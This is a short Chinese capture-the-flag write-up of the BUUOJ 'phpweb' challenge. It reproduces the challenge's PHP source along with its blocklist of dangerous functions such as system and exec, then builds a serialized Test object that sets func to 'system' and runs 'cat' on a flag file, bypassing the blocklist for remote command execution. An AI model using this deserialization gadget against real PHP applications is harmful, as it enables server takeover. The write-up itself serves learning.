C语言oj刷题刷不动,buuoj 刷题记录（一）

buuoj 刷题记录(一)

[网鼎杯 2020 朱雀组]phpweb

抓包

date是一个函数，后面的p应该是它的参数，猜测使用了call_user_func(函数名，参数)函数

使用 func=readfile&p=index.php 读取源码

$disable_fun = array("exec","shell_exec","system","passthru",

"proc_open","show_source","phpinfo","popen","dl","eval",

"proc_terminate","touch","escapeshellcmd","escapeshellarg",

"assert","substr_replace","call_user_func_array","call_user_func",

"array_filter", "array_walk", "array_map",

"registregister_shutdown_function","register_tick_function",

"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",

"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite",

"file_put_contents");

function gettime($func, $p) {

$result = call_user_func($func, $p);

$a= gettype($result);

if ($a == "string") {

return $result;

}

else {

return "";

}

}

class Test {

var $p = "Y-m-d h:i:s a";

var $func = "date";

function __destruct() {

if ($this->func != "") {

echo gettime($this->func, $this->p);

}

}

}

/*

$func = $_REQUEST["func"];

$p = $_REQUEST["p"];

if ($func != null) {

$func = strtolower($func);

if (!in_array($func,$disable_fun)) {

echo gettime($func, $p);

}else {

die("Hacker...");

}

}

禁用了很多函数，看到有__destruct()函数，尝试构造反序列化

class Test {

var $p = "Y-m-d h:i:s a";

var $func = "date";

function __destruct() {

if ($this->func != "") {

echo gettime($this->func, $this->p);

}

}

}

$a = new Test();

//$a->p = 'find / -name flag*';

$a->p = 'cat /tmp/flagoefiu4r93';

$a->func = 'system';

print_r(urlencode(serialize($a)));

寻找flag文件

读取flag